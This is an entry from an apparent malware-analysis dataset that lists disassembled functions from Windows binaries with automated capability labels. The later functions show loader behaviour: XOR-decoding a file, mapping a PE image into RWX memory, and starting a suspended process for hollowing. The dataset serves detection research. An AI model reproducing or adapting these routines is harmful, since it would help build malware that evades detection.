joyce8/EMBER2024-capa huggingface dataset:
Function at 0x48bcd0
Capabilities:
Write file on windows

Disassembly:
push ecx
mov eax, dword [ecx]
test eax, eax
jne 0x48bcdb
pop ecx
ret 8
mov edx, dword [esp + 0xc]
lea ecx, [esp]
push 0
push ecx
mov ecx, dword [esp + 0x10]
push edx
push ecx
push eax
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ecx
ret 8

Function at 0x48bfe0
Capabilities:
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push ebp
mov ebp, dword [esp + 0x18]
push esi
push edi
xor edi, edi
cmp ebx, edi
mov word [ebp], di
je 0x48c13c
mov esi, dword [esp + 0x1c]
cmp esi, edi
je 0x48c13c
push 0xf0000000
push 1
push edi
lea eax, [esp + 0x28]
push edi
push eax
mov dword [esp + 0x30], edi
mov dword [esp + 0x34], edi
mov dword [esp + 0x24], edi
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x48c113
mov edx, dword [esp + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push edi
push edi
push 0x8003
push edx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x48c113
mov eax, dword [esp + 0x20]
push edi
push esi
push ebx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x48c113
mov edx, dword [esp + 0x20]
mov esi, dword [sym.imp.ADVAPI32.dll_CryptGetHashParam]
lea ecx, [esp + 0x18]
push edi
push ecx
push edi
push 2
push edx
mov dword [esp + 0x2c], 4
call esi
test eax, eax
je 0x48c113
mov eax, dword [esp + 0x18]
push eax
call fcn.004d19b7
mov ebx, eax
add esp, 4
cmp ebx, edi
je 0x48c113
mov edx, dword [esp + 0x20]
lea ecx, [esp + 0x18]
push edi
push ecx
push ebx
push 2
push edx
call esi
cmp eax, edi
mov dword [esp + 0x10], eax
je 0x48c10a
mov eax, dword [esp + 0x18]
cmp eax, 0x10
jb 0x48c0da
mov eax, ebx
mov ecx, ebp
mov edx, dword [eax]
mov dword [ecx], edx
mov edx, dword [eax + 4]
mov dword [ecx + 4], edx
mov edx, dword [eax + 8]
mov dword [ecx + 8], edx
mov eax, dword [eax + 0xc]
mov dword [ecx + 0xc], eax
jmp 0x48c106
mov ecx, eax
mov esi, ebx
mov edx, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x10
lea edi, [ebp + eax*2]
sub ecx, eax
xor eax, eax
shr ecx, 1
rep stosd dword es:[edi], eax
adc ecx, ecx
rep stosw word es:[edi], ax
xor edi, edi
mov word [ebp + 0x20], di
push ebx
call fcn.004d18ce
add esp, 4
mov eax, dword [esp + 0x20]
cmp eax, edi
je 0x48c122
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov eax, dword [esp + 0x1c]
cmp eax, edi
je 0x48c132
push edi
push eax
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov eax, dword [esp + 0x10]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
Function at 0x48dc00
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0xc
test eax, eax
je 0x48dc27
cmp word [eax], 0x5a4d
jne 0x48dc27
mov ecx, dword [eax + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x48dc27
test word [eax + 4], 0x14c
jne 0x48dc2f
xor eax, eax
add esp, 0xc
ret 8
mov edx, dword [eax + 0x54]
mov cx, word [eax + 6]
push ebx
mov dword [esp + 4], edx
push ebp
xor edx, edx
mov dx, word [eax + 0x14]
push esi
mov esi, dword [eax + 0x50]
push edi
mov edi, dword [esp + 0x24]
mov word [esp + 0x14], cx
lea ecx, [edx + eax + 0x18]
mov eax, dword [edi]
mov dword [esp + 0x18], ecx
test eax, eax
jne 0x48dc78
cmp esi, dword [0x77d484]
jne 0x48dc68
xor esi, esi
push 0
push esi
mov ecx, edi
call fcn.0048a040
mov edx, dword [edi]
mov dword [edx], esi
jmp 0x48dcb6
mov ebx, dword [eax]
mov eax, dword [eax + 0xc]
cmp eax, esi
jae 0x48dc92
lea eax, [eax + esi + 0x1000]
push 0
push eax
mov ecx, edi
call fcn.0048a040
mov ecx, dword [edi]
cmp esi, ebx
mov dword [ecx], esi
mov eax, dword [edi]
mov edx, dword [eax + 8]
mov eax, dword [eax]
mov byte [edx + eax], 0
ja 0x48dcb6
jae 0x48dcb6
mov ecx, dword [edi]
inc esi
cmp esi, ebx
mov edx, dword [ecx + 8]
mov byte [edx + esi - 1], 0
jb 0x48dca7
mov edi, dword [edi]
test edi, edi
je 0x48dcc1
mov ebp, dword [edi + 8]
jmp 0x48dcc3
xor ebp, ebp
mov ecx, dword [esp + 0x10]
mov esi, dword [esp + 0x20]
mov eax, ecx
mov edi, ebp
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov dword [esp + 0x24], ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x14]
test cx, cx
jbe 0x48dd44
mov ebx, dword [esp + 0x18]
lea eax, [ebx + 0xc]
lea edx, [ebx + 0x14]
add ebx, 0x10
and ecx, 0xffff
mov dword [esp + 0x10], ecx
mov edi, dword [eax]
test edi, edi
je 0x48dd30
mov ecx, dword [ebx]
test ecx, ecx
je 0x48dd30
mov esi, dword [edx]
add edi, ebp
add esi, dword [esp + 0x20]
mov ebp, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
mov ebp, dword [esp + 0x24]
and ecx, 3
add ebx, 0x28
add edx, 0x28
add eax, 0x28
rep movsb byte es:[edi], byte [esi]
jmp 0x48dd39
add ebx, 0x28
add edx, 0x28
add eax, 0x28
mov ecx, dword [esp + 0x10]
dec ecx
mov dword [esp + 0x10], ecx
jne 0x48dcff
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
add esp, 0xc
ret 8

Function at 0x490d60
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x8c
lea eax, [esp]
push esi
push eax
push 1
push 0
push str.Control_PanelDesktop
push reloc.WS2_32.dll_accept
mov esi, 3
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x490dd3
lea ecx, [esp + 8]
lea edx, [esp + 0x10]
push ecx
mov ecx, dword [esp + 8]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push str.WheelScrollLines
push ecx
mov dword [esp + 0x20], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x490dc8
push 0xa
lea edx, [esp + 0x14]
push eax
push edx
call fcn.004d302d
add esp, 0xc
mov esi, eax
mov eax, dword [esp + 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x8c
ret
Function at 0x4a2a20
Capabilities:
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x4f57c8
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x2c
push esi
mov esi, ecx
push 0
lea ecx, [esp + 0x20]
call fcn.004e99c5
push 0x3e8
lea eax, [esp + 0x20]
push 0x3e8
push eax
mov ecx, esi
mov dword [esp + 0x44], 0
call fcn.004a2960
mov ecx, dword [esi + 0x174]
mov eax, dword [esi + 0x178]
add ecx, 0x64
add eax, 0x64
mov dword [esp + 4], ecx
lea ecx, [esp + 4]
push ecx
lea ecx, [esp + 0x20]
mov dword [esp + 0xc], eax
call fcn.004e98f3
mov eax, dword [esi + 0x1c]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [esp + 0x18]
mov edx, dword [esp + 0x10]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 8]
mov edx, dword [esp + 0xc]
mov ecx, eax
mov eax, dword [esp + 0x14]
sub eax, edx
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
lea eax, [eax + eax*4]
shl eax, 3
cdq
idiv dword [esp + 4]
cmp dword [esp + 0x44], 1
jne 0x4a2ae7
cmp dword [esp + 0x40], 1
jne 0x4a2ae5
cmp ecx, eax
jge 0x4a2ae7
mov eax, ecx
cmp eax, 0x12c
jge 0x4a2af3
mov eax, 0x12c
mov ecx, esi
mov dword [esi + 0x194], eax
mov dword [esi + 0x1dc], 1
call fcn.004a2b40
mov ecx, dword [esi + 0x1c]
push 1
push 0
push ecx
call dword [sym.imp.USER32.dll_InvalidateRect]
lea ecx, [esp + 0x1c]
mov dword [esp + 0x38], 0xffffffff
call fcn.004e9a37
mov ecx, dword [esp + 0x30]
pop esi
mov dword fs:[0], ecx
add esp, 0x38
ret 8
Function at 0x4a6e40
Capabilities:
Get graphical window text

Disassembly:
push 0xffffffffffffffff
push 0x4f5cb6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x98
mov eax, dword [0x8c4f00]
push ebx
push ebp
push esi
mov esi, ecx
mov dword [esp + 0xc], eax
lea ecx, [esp + 0xc]
xor ebx, ebx
push ecx
mov ecx, esi
mov dword [esp + 0xb0], ebx
call fcn.004e5173
mov edx, dword [0x8c4f00]
mov dword [esp + 0x3c], edx
cmp esi, ebx
mov byte [esp + 0xac], 1
jne 0x4a6e9a
mov dword [esp + 0x1c], ebx
jmp 0x4a6ea1
mov eax, dword [esi + 0x1c]
mov dword [esp + 0x1c], eax
push edi
mov ecx, esi
call fcn.004e72da
mov ecx, dword [esi + 0x3c]
mov edx, dword [esi + 0x40]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
mov edi, 1
mov dword [esp + 0x2c], ecx
push eax
lea ecx, [esp + 0x44]
mov dword [esp + 0x2c], 0xffffff96
mov dword [esp + 0x38], edi
mov dword [esp + 0x34], edx
call fcn.004e2e29
mov eax, dword [esi + 0x54]
mov ecx, dword [esi + 0x1c]
cmp eax, ebx
mov dword [esp + 0x64], ebx
mov dword [esp + 0x1c], ecx
jne 0x4a6ef2
mov dword [esp + 0x14], ebx
jmp 0x4a6ef9
mov edx, dword [eax + 0x1c]
mov dword [esp + 0x14], edx
cmp dword [esi + 0x44], 0xd
jne 0x4a6f14
mov eax, dword [eax + 0x3c8]
cmp eax, edi
je 0x4a6f0e
cmp eax, 2
jne 0x4a6f14
mov dword [esp + 0x18], edi
jmp 0x4a6f18
mov dword [esp + 0x18], ebx
mov eax, dword [esi + 0x20]
cmp eax, ebx
jne 0x4a6f26
push ecx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call fcn.004e47a9
mov edi, eax
cmp edi, ebx
jne 0x4a6f36
xor eax, eax
jmp 0x4a6f39
mov eax, dword [edi + 0x1c]
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
push eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x4a6f61
mov ecx, esi
call fcn.004e72da
mov edx, dword [edi + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push eax
push 0x4e
push edx
call ebp
mov eax, dword [esp + 0x1c]
push eax
call ebx
test eax, eax
pop edi
je 0x4a6f7d
mov ecx, dword [esi + 0x1c]
push 0
push 0
push 0x10
push ecx
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [esp + 0x14]
test eax, eax
je 0x4a6f9c
mov esi, dword [esp + 0x10]
push esi
call ebx
test eax, eax
je 0x4a6f9c
push 1
push 0xd
push 0x100
push esi
call ebp
lea ecx, [esp + 0x3c]
mov byte [esp + 0xac], 0
call fcn.004e2d3c
lea ecx, [esp + 0xc]
mov dword [esp + 0xac], 0xffffffff
call fcn.004e2d3c
mov ecx, dword [esp + 0xa4]
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xa4
ret
Function at 0x4a7c40
Capabilities:
Get graphical window text

Disassembly:
push 0xffffffffffffffff
push 0x4f5dc6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x98
mov eax, dword [0x8c4f00]
push ebx
push esi
mov esi, ecx
mov dword [esp + 8], eax
lea ecx, [esp + 8]
xor ebx, ebx
push ecx
mov ecx, esi
mov dword [esp + 0xac], ebx
call fcn.004e5173
cmp dword [0x8e2058], ebx
je 0x4a7cb0
lea ecx, [esp + 8]
mov dword [esp + 0xa8], 0xffffffff
call fcn.004e2d3c
pop esi
pop ebx
mov ecx, dword [esp + 0x98]
mov dword fs:[0], ecx
add esp, 0xa4
ret
mov edx, dword [0x8c4f00]
push ebp
push edi
mov edi, 1
mov dword [0x8e2058], edi
mov dword [esp + 0x40], edx
cmp esi, ebx
mov byte [esp + 0xb0], 1
jne 0x4a7cd9
mov dword [esp + 0x20], ebx
jmp 0x4a7ce0
mov eax, dword [esi + 0x1c]
mov dword [esp + 0x20], eax
mov ecx, esi
call fcn.004e72da
mov ecx, dword [esi + 0x84]
mov edx, dword [esi + 0x88]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x10]
mov dword [esp + 0x2c], ecx
push eax
lea ecx, [esp + 0x44]
mov dword [esp + 0x2c], 0xffffff96
mov dword [esp + 0x38], 5
mov dword [esp + 0x34], edx
call fcn.004e2e29
mov eax, dword [esi + 0x9c]
mov ecx, dword [esi + 0x94]
mov edx, dword [esi + 0x1c]
cmp eax, ebx
mov dword [esp + 0x64], ecx
mov dword [esp + 0x1c], edx
jne 0x4a7d3e
mov dword [esp + 0x14], ebx
jmp 0x4a7d45
mov ebp, dword [eax + 0x1c]
mov dword [esp + 0x14], ebp
cmp ecx, 0xd
jne 0x4a7d5f
mov eax, dword [eax + 0x3c8]
cmp eax, edi
je 0x4a7d59
cmp eax, 2
jne 0x4a7d5f
mov dword [esp + 0x18], edi
jmp 0x4a7d63
mov dword [esp + 0x18], ebx
mov eax, dword [esi + 0x20]
cmp eax, ebx
jne 0x4a7d71
push edx
call dword [sym.imp.USER32.dll_GetParent]
push eax
call fcn.004e47a9
mov edi, eax
cmp edi, ebx
jne 0x4a7d81
xor eax, eax
jmp 0x4a7d84
mov eax, dword [edi + 0x1c]
mov ebx, dword [sym.imp.USER32.dll_IsWindow]
push eax
call ebx
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
test eax, eax
je 0x4a7dac
mov ecx, esi
call fcn.004e72da
mov edx, dword [edi + 0x1c]
lea ecx, [esp + 0x20]
push ecx
push eax
push 0x4e
push edx
call ebp
mov esi, dword [esp + 0x1c]
push esi
call ebx
test eax, eax
je 0x4a7dc4
push 0
push 0
push 0x10
push esi
call dword [sym.imp.USER32.dll_PostMessageA]
mov eax, dword [esp + 0x18]
mov dword [0x8e2058], 0
test eax, eax
je 0x4a7ded
mov esi, dword [esp + 0x14]
push esi
call ebx
test eax, eax
je 0x4a7ded
push 1
push 0xd
push 0x100
push esi
call ebp
lea ecx, [esp + 0x40]
mov byte [esp + 0xb0], 0
call fcn.004e2d3c
lea ecx, [esp + 0x10]
mov dword [esp + 0xb0], 0xffffffff
call fcn.004e2d3c
mov ecx, dword [esp + 0xa8]
pop edi
pop ebp
pop esi
pop ebx
mov dword fs:[0], ecx
add esp, 0xa4
ret
Function at 0x4af8d0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x909af0]
xor edx, edx
cmp eax, edx
jne 0x4af8f6
xor eax, eax
mov byte [eax + 0x9099f0], al
inc eax
cmp eax, 0x100
jl 0x4af8de
mov dword [0x909af0], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x9099f0
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x4af987
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x4af95a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x4af928
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x4afa00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x4afa53
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x4afa3a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4e5173
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x4e51ab
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.004e3197
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.004e316f
jmp 0x4e51b7
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x4e69eb
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x4e6a2d
call fcn.004ecf1f
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x4e6a2d
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x4e6a24
xor eax, eax
jmp 0x4e6a35
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.004e6a3b
pop edi
pop esi
pop ebx
ret 4
Function at 0x4ed44f
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4ed47d
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4ed49b
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004ed3b5
jmp 0x4ed49b
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4ed49b
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.004ed3b5
test edi, edi
mov eax, edi
jne 0x4ed485
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8

Function at 0x4efcc5
Capabilities:
Check for time delay via gettickcount
Log keystrokes via polling

Disassembly:
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
xor ebx, ebx
push 1
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
call edi
test ax, ax
jge 0x4efced
or dword [esi + 0x38], 1
or dword [esi + 0x34], 2
jmp 0x4efcfe
push 2
call edi
test ax, ax
jge 0x4efcfe
or dword [esi + 0x38], 2
or dword [esi + 0x34], 1
mov ebp, dword [sym.imp.KERNEL32.dll_GetTickCount]
call ebp
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x34]
push dword [eax + 0x1c]
call dword [sym.imp.USER32.dll_SetCapture]
push eax
call fcn.004e47a9
cmp dword [esi + 0x30], ebx
jne 0x4efdd8
mov edi, dword [sym.imp.USER32.dll_PeekMessageA]
mov ebx, 0x100
call dword [sym.imp.USER32.dll_GetCapture]
push eax
call fcn.004e47a9
cmp eax, dword [esp + 0x34]
jne 0x4efdd8
push 1
push 0x209
push 0x200
lea eax, [esp + 0x20]
push 0
push eax
call edi
test eax, eax
jne 0x4efd74
push 1
push 0x108
push ebx
push eax
lea eax, [esp + 0x24]
push eax
call edi
test eax, eax
je 0x4efdb9
mov eax, dword [esp + 0x18]
cmp eax, 0x202
je 0x4efdd8
cmp eax, 0x205
je 0x4efdd8
cmp eax, 0x201
je 0x4efdd8
cmp eax, 0x204
je 0x4efdd8
cmp eax, ebx
jne 0x4efd9f
cmp dword [esp + 0x1c], 0x1b
je 0x4efdd8
push dword [esp + 0x2c]
lea eax, [esi + 0x20]
push dword [esp + 0x2c]
push eax
call dword [sym.imp.USER32.dll_PtInRect]
neg eax
sbb eax, eax
inc eax
mov dword [esi + 0x30], eax
call ebp
sub eax, dword [esp + 0x10]
cmp eax, dword [0x91b60c]
jbe 0x4efdce
mov dword [esi + 0x30], 1
cmp dword [esi + 0x30], 0
je 0x4efd31
call dword [sym.imp.USER32.dll_ReleaseCapture]
mov eax, dword [esi + 0x30]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x20
ret 4
Function at 0x100010d0
Capabilities:
Allocate or change rwx memory
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
cmp ecx, 0x40
jae 0x100010df
xor eax, eax
pop ebp
ret
mov eax, dword [ebp + 8]
mov edx, 0x5a4d
cmp word [eax], dx
jne 0x100010db
push esi
mov esi, dword [eax + 0x3c]
lea edx, [esi + 0xf8]
cmp ecx, edx
jl 0x10001255
add esi, eax
cmp dword [esi], 0x4550
jne 0x10001255
mov edx, 0x2000
test word [esi + 0x16], dx
jne 0x10001255
mov edx, pe_nt_image_headers32
cmp word [esi + 0x14], dx
jne 0x10001255
push ebx
lea ebx, [esi + 0xf8]
push ebx
push esi
push ecx
push eax
call fcn.10001020
mov ecx, dword [ebp + 0x1c]
add esp, 0x10
mov dword [ecx], eax
test eax, eax
jne 0x1000114a
pop ebx
pop esi
pop ebp
ret
push edi
push 0x40
push 0x1000
push eax
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov edi, dword [ebp + 0x18]
mov dword [edi], eax
test eax, eax
je 0x1000124b
movzx ecx, word [esi + 6]
mov edx, dword [esi + 0x54]
test ecx, ecx
jle 0x1000118a
lea esi, [ebx + 0x14]
mov ebx, ecx
mov ecx, dword [esi]
test ecx, ecx
je 0x10001184
cmp ecx, edx
jae 0x10001184
mov edx, ecx
add esi, 0x28
dec ebx
jne 0x10001178
push edx
mov edx, dword [ebp + 8]
push edx
push eax
call fcn.10002460
mov eax, dword [edi]
add eax, dword [eax + 0x3c]
mov ebx, dword [ebp + 0x10]
mov edx, dword [ebp + 0x14]
mov dword [ebx], eax
add eax, 0xf8
mov dword [edx], eax
mov eax, dword [ebx]
mov ecx, dword [eax + 0x38]
mov edx, dword [eax + 0x54]
push ecx
push edx
call fcn.10001000
mov esi, eax
add esi, dword [edi]
xor edi, edi
mov dword [0x10086f00], edi
mov eax, dword [ebx]
xor ecx, ecx
add esp, 0x14
cmp cx, word [eax + 6]
jae 0x1000124b
mov eax, dword [ebp + 0x14]
mov ecx, dword [eax]
lea edx, [edi + edi*4]
lea eax, [ecx + edx*8]
mov ecx, dword [eax + 0xc]
test ecx, ecx
je 0x100011ea
mov edx, dword [ebp + 0x18]
mov esi, dword [edx]
add esi, ecx
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x10001226
mov eax, dword [eax + 0x14]
add eax, dword [ebp + 8]
push ecx
push eax
push esi
call fcn.10002460
mov edi, dword [0x10086f00]
mov edx, dword [ebp + 0x14]
mov eax, dword [edx]
lea ecx, [edi + edi*4]
lea eax, [eax + ecx*8]
mov ecx, dword [eax + 0x10]
mov eax, dword [eax + 8]
add esp, 0xc
cmp eax, ecx
jae 0x10001229
mov edx, dword [ebx]
mov eax, dword [edx + 0x38]
push eax
push ecx
jmp 0x10001230
mov eax, dword [eax + 8]
mov ecx, dword [ebx]
mov edx, dword [ecx + 0x38]
push edx
push eax
call fcn.10001000
inc edi
mov dword [0x10086f00], edi
mov ecx, dword [ebx]
movzx edx, word [ecx + 6]
add esp, 8
add esi, eax
cmp edi, edx
jl 0x100011d1
pop edi
pop ebx
mov eax, 1
pop esi
pop ebp
ret
xor eax, eax
pop esi
pop ebp
ret
Function at 0x10001320
Capabilities:
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x78
push 0x44
lea eax, [ebp - 0x78]
push 0
push eax
call fcn.10002800
add esp, 0xc
xor eax, eax
lea ecx, [ebp - 0x18]
push ecx
lea edx, [ebp - 0x78]
push edx
push eax
push eax
push 4
push eax
push eax
push eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
push eax
push 0
mov dword [ebp - 0x78], 0x44
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
mov dword [ebp - 4], eax
test eax, eax
je 0x10001403
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
push str.GetThreadContext
push 0x1000c210
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x1000c200
push 0x1000c210
mov ebx, eax
call esi
push eax
call edi
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x14]
mov edi, dword [ebp + 0x10]
mov eax, dword [ebp + 0x14]
mov esi, dword [ebp + 0xc]
mov dword [edi], ecx
mov ecx, dword [ebp + 0x18]
mov dword [eax], edx
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov dword [esi], 0x10007
mov eax, dword [eax]
push esi
push eax
call ebx
mov edx, dword [esi + 0xa4]
mov ebx, dword [ebp + 0x1c]
mov eax, dword [edi]
lea ecx, [ebp - 8]
push ecx
push 4
push ebx
add edx, 8
push edx
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov esi, dword [ebx]
mov edx, dword [edi]
push 0x1c
lea ecx, [ebp - 0x34]
push ecx
push esi
push edx
call dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
sub esi, dword [ebx]
mov eax, dword [ebp + 0x20]
pop edi
mov dword [eax], esi
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10001740
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
movzx eax, byte [ebp + 0x10]
cdq
mov ecx, 0x46b
idiv ecx
push esi
mov esi, dword [ebp + 0xc]
lea ecx, [edx - 0x58]
test esi, esi
je 0x1000176e
mov eax, dword [ebp + 8]
lea ecx, [ecx]
mov dl, byte [eax]
xor dl, cl
add dl, cl
xor dl, cl
mov byte [eax], dl
inc eax
dec esi
jne 0x10001760
pop esi
pop ebp
ret

Function at 0x10001780
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 0x10]
push ebx
push 0
push 0x80
push 3
push 0
push 1
push 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x100017ac
or eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push edi
push 0
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.100028d8
push esi
mov edi, eax
push 0
push edi
call fcn.10002800
add esp, 0x10
push 0
lea ecx, [ebp - 4]
push ecx
push esi
push edi
push ebx
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_ReadFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xd3
push esi
push edi
call fcn.10001740
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
push edx
push eax
push esi
push edi
call fcn.100016b0
push edi
mov esi, eax
call fcn.10002451
add esp, 0x20
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret